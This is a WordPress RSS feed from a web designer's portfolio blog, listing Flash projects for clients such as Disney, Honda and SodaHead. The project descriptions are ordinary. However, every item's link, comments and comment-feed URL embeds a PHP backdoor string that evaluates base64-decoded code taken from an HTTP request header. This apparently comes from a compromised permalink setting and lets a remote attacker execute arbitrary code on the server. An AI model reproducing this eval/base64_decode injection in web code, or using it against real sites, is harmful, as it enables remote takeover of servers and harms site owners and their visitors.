<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chris Paterson &#187; Flash Work</title>
	<atom:link href="http://blog.chrispaterson.net/category/work/flash-work/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.chrispaterson.net</link>
	<description>Flash Actionscript Flex Designer Developer</description>
	<lastBuildDate>Thu, 13 May 2010 22:02:59 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Cornerstone Simi&#8217;s Global Ministries Site</title>
		<link>http://blog.chrispaterson.net/2009/08/05/cornerstone-simis-global-ministries-site/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2009/08/05/cornerstone-simis-global-ministries-site/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 06 Aug 2009 06:16:32 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Actionscript 2]]></category>
		<category><![CDATA[Creative]]></category>
		<category><![CDATA[Freelance]]></category>
		<category><![CDATA[Website]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/?p=179</guid>
		<description><![CDATA[ 

Completed for Regime Design in March of 2008.  Created for Cornerstone in Simi Valley, California as an effort to demonstrate where around the world that Cornerstone has missionaries and partnerships.  Originally designed for a touch-screen kiosk.  The whole project was created in AS2 and links to a PHP MYSQL backend that [...]]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2009/08/05/cornerstone-simis-global-ministries-site/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sage Publications e-walkthrough</title>
		<link>http://blog.chrispaterson.net/2008/10/22/sage-publications-e-walkthrough/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2008/10/22/sage-publications-e-walkthrough/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 22 Oct 2008 21:46:09 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Actionscript 3]]></category>
		<category><![CDATA[application]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[Freelance]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/?p=117</guid>
		<description><![CDATA[ 
Click the image to see an instance of this. This was done a freelance project in less than 32 hours total from the ground up.  It is an engine that is driven by XML and loads content sequentially.  It&#8217;s all in Actionscript 3 using the Opensource Flex SDK.  All the components are hand written [...]]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2008/10/22/sage-publications-e-walkthrough/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Multimedia poll widget</title>
		<link>http://blog.chrispaterson.net/2008/10/10/multimedia-poll-widget/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2008/10/10/multimedia-poll-widget/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 10 Oct 2008 21:54:39 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Design Work]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[SodaHead.com]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Actionscript 2]]></category>
		<category><![CDATA[Actionscript 3]]></category>
		<category><![CDATA[application]]></category>
		<category><![CDATA[Creative]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[JSON]]></category>
		<category><![CDATA[Widget]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/?p=114</guid>
		<description><![CDATA[This project is a constant work in progress and was my primary focus at SodaHead.com.  It is a client for user polls that is completely customizable.  It&#8217;s written in all Actionscript 3 using a JSON service to connect to the polls.


<object	type="application/x-shockwave-flash"
			data="http://www.sodahead.com/images/flash/poll.swf?height=375&#38;width=250"
			width="250"
			height="375">
	<param name="movie" value="http://www.sodahead.com/images/flash/poll.swf?height=375&#38;width=250" />
</object>
Right now the widget is loading user polls created on the [...]]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2008/10/10/multimedia-poll-widget/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The first thing I ever did in Flash!</title>
		<link>http://blog.chrispaterson.net/2008/05/17/the-first-thing-i-ever-did-in-flash/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2008/05/17/the-first-thing-i-ever-did-in-flash/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 17 May 2008 16:57:47 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Actionscript 2]]></category>
		<category><![CDATA[Animation]]></category>
		<category><![CDATA[Creative]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2008/05/17/the-first-thing-i-ever-did-in-flash/</guid>
		<description><![CDATA[I was cleaning out some old files and I stumbled across this!  BluebYrd was a parody on my life at the time because I had blue hair for a bit, before I had to get a real job and actually deal with people!  I took a basic Flash course (total 6 hours) introduction. [...]]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2008/05/17/the-first-thing-i-ever-did-in-flash/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Disney Vacation Club Member Widgets</title>
		<link>http://blog.chrispaterson.net/2008/02/04/disney-vacation-club-member-widgets/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2008/02/04/disney-vacation-club-member-widgets/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 05 Feb 2008 00:54:06 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Actionscript 2]]></category>
		<category><![CDATA[Creative]]></category>
		<category><![CDATA[Disney]]></category>
		<category><![CDATA[Disney Vacation Club]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Games]]></category>
		<category><![CDATA[Widget]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2008/02/04/disney-vacation-club-member-widgets/</guid>
		<description><![CDATA[These desktop widgets were created as an idea pitched internally to the business of Disney Vacation Club.  There are four total.  We used a wrapper application called mProjector to create the .exe.

Vacation Countdown
This one allows a DVC Member to have a countdown clock until the day of their vacation.  They can select [...]]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2008/02/04/disney-vacation-club-member-widgets/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>It Looks Good</title>
		<link>http://blog.chrispaterson.net/2008/02/04/it-looks-good/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2008/02/04/it-looks-good/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 05 Feb 2008 00:38:30 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Actionscript 3]]></category>
		<category><![CDATA[Box 2D]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Physics]]></category>
		<category><![CDATA[Website]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2008/02/04/it-looks-good/</guid>
		<description><![CDATA[Done through Regime Design.  This website was done for a well known motion graphics company It Looks Good.  The site is complete with Demo Reel, a photo slideshow, news and an about section.


Click here to view mockup.
My Role:
Flash Development
Significant Technical Achievements:
Actionscript 3
Physics engine using a C++ code port of the Box2d project
]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2008/02/04/it-looks-good/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Honda CBR600RR Motorcycle 360 Demo</title>
		<link>http://blog.chrispaterson.net/2007/12/23/honda-cbr600rr-motorcycle-360-demo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2007/12/23/honda-cbr600rr-motorcycle-360-demo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 24 Dec 2007 01:21:16 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[360 Demo]]></category>
		<category><![CDATA[Actionscript 2]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Honda]]></category>
		<category><![CDATA[Website]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2007/12/23/honda-cbr600rr-motorcycle-360-demo/</guid>
		<description><![CDATA[Done through Viewpoint Media.  This is a 360 degree online demo of the new Honda CBR600RR motorcycle.  You can drag and rotate and rollover highlights to get more detail.


Click here to view mockup
My Role:
Flash Development
]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2007/12/23/honda-cbr600rr-motorcycle-360-demo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nela Dunaway Website</title>
		<link>http://blog.chrispaterson.net/2007/11/09/nela-dunaway-website/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2007/11/09/nela-dunaway-website/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 10 Nov 2007 05:52:42 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Design Work]]></category>
		<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Actionscript 2]]></category>
		<category><![CDATA[Creative]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Website]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2007/11/09/nela-dunaway-website/</guid>
		<description><![CDATA[A local painter&#8217;s website done in all Flash.  In addition to creating a cool design, I also programmed an administration system that allows Nela to go in and update all her copy and even add photos of new artwork pieces.


Click here to view mockup.


My Role:Flash DevelopmentFlash DesignCreative ConceptVisual DesignPHP Development
]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2007/11/09/nela-dunaway-website/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rain Master Weather Sense Application Background</title>
		<link>http://blog.chrispaterson.net/2007/11/07/rain-master-weather-sense-application-background/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2007/11/07/rain-master-weather-sense-application-background/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 08 Nov 2007 07:10:05 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Actionscript 2]]></category>
		<category><![CDATA[Creative]]></category>
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2007/11/07/rain-master-weather-sense-application-background/</guid>
		<description><![CDATA[This is a little Flash piece I did for the company Rain Master.  They create intelligent sprinkler systems for large landscapes and the software that controls them.  This particular piece was used as the log in screen backdrop.  It senses the user&#8217;s local time and builds a different scene accordingly.  There [...]]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2007/11/07/rain-master-weather-sense-application-background/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Disney Vacation Club Members Site Headers</title>
		<link>http://blog.chrispaterson.net/2007/10/19/disney-vacation-club-members-site-headers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2007/10/19/disney-vacation-club-members-site-headers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 20 Oct 2007 00:47:37 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Actionscript 2]]></category>
		<category><![CDATA[Creative]]></category>
		<category><![CDATA[Disney]]></category>
		<category><![CDATA[Disney Vacation Club]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[JavaSWF]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2007/10/19/disney-vacation-club-members-site-headers/</guid>
		<description><![CDATA[Created for the 2007 Disney Vacation Club Members site redesign.  This single header piece is used across the entire site in a few different formats.  Each format is configured via the CMS.  It can be a slideshow with music and characters, a slideshow with the ability to select thumbnails or it can [...]]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2007/10/19/disney-vacation-club-members-site-headers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adventures by Disney Maps</title>
		<link>http://blog.chrispaterson.net/2007/10/19/adventures-by-disney-maps/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2007/10/19/adventures-by-disney-maps/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 19 Oct 2007 22:46:05 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Actionscript 2]]></category>
		<category><![CDATA[Adventures By Disney]]></category>
		<category><![CDATA[Animation]]></category>
		<category><![CDATA[Creative]]></category>
		<category><![CDATA[Disney]]></category>
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2007/10/19/adventures-by-disney-maps/</guid>
		<description><![CDATA[As well as doing most of the Flash on Adventures by Disney&#8217;s website a I also created these interactive maps.  There are 18 total maps each one showing the route and destination of the trips.  Although I did not illustrate the maps I did all of the Flash Animation and functionality behind them.


Click [...]]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2007/10/19/adventures-by-disney-maps/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>project mysterio.</title>
		<link>http://blog.chrispaterson.net/2007/10/18/project-mysterio/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2007/10/18/project-mysterio/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 19 Oct 2007 00:21:34 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Design Work]]></category>
		<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Photography Work]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Actionscript 2]]></category>
		<category><![CDATA[Creative]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[project mysterio.]]></category>
		<category><![CDATA[Website]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2007/10/18/project-mysterio/</guid>
		<description><![CDATA[project mysterio. grew organically from its inception. Originally, it was about chasing the paper boy late at night and trying to avoid getting hit by his maniacal driving. The concept soon grew as I put an identity to it. Today, project mysterio. is bigger than chasing the paper boy. It started a small underground movement [...]]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2007/10/18/project-mysterio/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Disney Vacation Club Castle Stay Sweepstakes</title>
		<link>http://blog.chrispaterson.net/2007/10/18/disney-vacation-club-castle-stay-sweepstakes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2007/10/18/disney-vacation-club-castle-stay-sweepstakes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 18 Oct 2007 16:15:45 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Animation]]></category>
		<category><![CDATA[Creative]]></category>
		<category><![CDATA[Disney]]></category>
		<category><![CDATA[Disney Vacation Club]]></category>
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2007/10/18/disney-vacation-club-castle-stay-sweepstakes/</guid>
		<description><![CDATA[Featured on DisneyVacationClub.com/members.  If you are not familiar with Disney Vacation Club, it&#8217;s a very large sector of Disney&#8217;s travel business and is essentially a time share exchange.  One of the properties that I helped maintain at Disney Parks and Resorts was Disney Vacation Club.  This particular piece was a part of [...]]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2007/10/18/disney-vacation-club-castle-stay-sweepstakes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ValueClick Media Performance Interviews</title>
		<link>http://blog.chrispaterson.net/2007/10/17/valueclick-media-performance-interviews/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2007/10/17/valueclick-media-performance-interviews/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 18 Oct 2007 06:09:53 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Photography Work]]></category>
		<category><![CDATA[Video Work]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Actionscript 2]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2007/10/17/valueclick-media-performance-interviews/</guid>
		<description><![CDATA[Taken on through La Visual.  The ValueClick Performance interviews mini site is used as a marketing vehicle for ValueClick Media.  The videos highlight industry leaders speaking about the concept of performance.


 
Click here to view mockup.
 


 Key technical achievments:
Scripted motion
MySql PHP driven through XML rpc
Bookmarkable videos through anchor links parsed in javascript
Page titles [...]]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2007/10/17/valueclick-media-performance-interviews/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Epcot Special Events</title>
		<link>http://blog.chrispaterson.net/2007/10/17/epcot-special-events/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2007/10/17/epcot-special-events/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 18 Oct 2007 05:34:11 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Actionscript 2]]></category>
		<category><![CDATA[Animation]]></category>
		<category><![CDATA[Creative]]></category>
		<category><![CDATA[Disney]]></category>
		<category><![CDATA[Disneyworld]]></category>
		<category><![CDATA[Epcot]]></category>
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2007/10/17/epcot-special-events/</guid>
		<description><![CDATA[Designed for the Epcot Special Events landing page on Disneyworld.com.  The special events are held throughout the year at Epcot.


Click here to view mockup.



 Key technical achievments:Scripted motionDrawing API to mask sections



 My Role:Visual DesignFlash DevelopmentInterface Architecture participation


]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2007/10/17/epcot-special-events/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
